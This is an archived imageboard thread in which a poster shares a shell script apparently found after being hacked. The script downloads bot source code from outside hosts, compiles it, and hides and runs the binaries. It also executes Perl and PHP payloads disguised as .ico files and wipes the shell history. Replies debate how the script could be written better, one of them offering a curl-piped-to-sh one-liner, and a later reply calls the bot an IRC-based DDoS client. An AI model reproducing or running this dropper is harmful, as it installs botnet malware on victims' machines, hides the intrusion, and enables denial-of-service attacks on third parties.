[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y ] [Home]
4chanarchives logo
>mfw I got hacked #!/bin/sh apt-get -y install gcc || apt
Images are sometimes not shown due to bandwidth/network limitations. Refreshing the page usually helps.

You are currently reading a thread in /g/ - Technology

Thread replies: 9
Thread images: 2
File: 1438005910289.jpg (33 KB, 480x454) Image search: [Google]
1438005910289.jpg
33 KB, 480x454
>mfw I got hacked
#!/bin/sh
apt-get -y install gcc || aptitude -y install gcc || yum -y install gcc
wget http://ugotownedz.org/PwNzbot.c -O /tmp/PwNzbot.c || curl -o /tmp/PwNzbot.c http://ugotownedz.org/PwNzbot.c
gcc -o /tmp/a /tmp/PwNzbot.c
mv /tmp/a /dev/shm/aaaa
mv /tmp/a /usr/lib/.aaaa
chmod +x /dev/shm/aaaa
chmod +x /usr/lib/.aaaa
/usr/lib/.aaaa
/dev/shm/aaaa
chmod +x /tmp/a
/tmp/a
wget http://ugotownedz.org/pmabot.c -O pmabot.c || curl -o pmabot.c http://ugotownedz.org/pmabot.c
gcc -o .X0-unix pmabot.c
./.X0-unix
wget http://ugotownedz.org/PwNzbot.c -O /tmp/a.c || curl -o /tmp/PwNzbot.c http://ugotownedz.org/a.c
gcc -o /tmp/a /tmp/PwNzbot.c
mv /tmp/a /dev/shm/weed
mv /tmp/a /usr/lib/.weed
chmod +x /dev/shm/weed
chmod +x /usr/lib/.weed
/usr/lib/.weed
/dev/shm/.weed
chmod +x /tmp/.weed
/tmp/.weed
rm -rf /tmp/PwNzbot.*
rm -rf /tmp/a.*
rm -rf /tmp/pmabot.*
rm -rf pmabot.*
rm -rf PwNzbot.*
rm -rf a.*
wget ugotownedz.org/apache.ico
perl apache.ico
rm -rf .bash_history
#wget http://ugotownedz.org/brain.c -O brain.c
#curl -o brain.c http://ugotownedz.org/brain.c
#gcc -o .X1-unix brain.c
#./.X1-unix
wget ftp://74.14.188.150/PK.ico || curl -O ftp://74.14.188.150/PK.ico
php PK.ico
rm -rf .bash_history
rm -rf PK.ico.1
>>
File: 1464575033540.gif (1 MB, 720x720) Image search: [Google]
1464575033540.gif
1 MB, 720x720
>>
>All that fucking shit to compile a fucking binary instead of giving a precompiled one
>or a perl script if you are going to use fucking perl anyway
>rm -rf .bash_history
>not BASH_HISTORY=
>not even in ~
>>
>>54818225
Binary? Well, shit, too bad it would only work on one architecture. Didn't think about that, did you faggot?
>>
>>54818820
It also downloads a fucking perl script, why not use that.

Also,
[ "$(uname -m)" = x86_64 ] || curl http://compile.my.code.sh | sh
>>
>>54818879
Yes, because recompiling my code for every architecture again after a little change is great.
>>
>>54818913
Read the code, you'd only recompile it for x86_64. Other archs are uncommon enough to waste time on compilation
>>
>>54819000
Holy shit? Really? The point IS to compile for every arch, wherever this code is executed, it works.
>>
>a IRC based distributed denial of service client
what did you want it for OP?
Thread replies: 9
Thread images: 2

banner
banner
[Boards: 3 / a / aco / adv / an / asp / b / biz / c / cgl / ck / cm / co / d / diy / e / fa / fit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mu / n / news / o / out / p / po / pol / qa / r / r9k / s / s4s / sci / soc / sp / t / tg / toy / trash / trv / tv / u / v / vg / vp / vr / w / wg / wsg / wsr / x / y] [Home]

All trademarks and copyrights on this page are owned by their respective parties. Images uploaded are the responsibility of the Poster. Comments are owned by the Poster.
If a post contains personal/copyrighted/illegal content you can contact me at [email protected] with that post and thread number and it will be removed as soon as possible.
DMCA Content Takedown via dmca.com
All images are hosted on imgur.com, send takedown notices to them.
This is a 4chan archive - all of the content originated from them. If you need IP information for a Poster - you need to contact them. This website shows only archived content.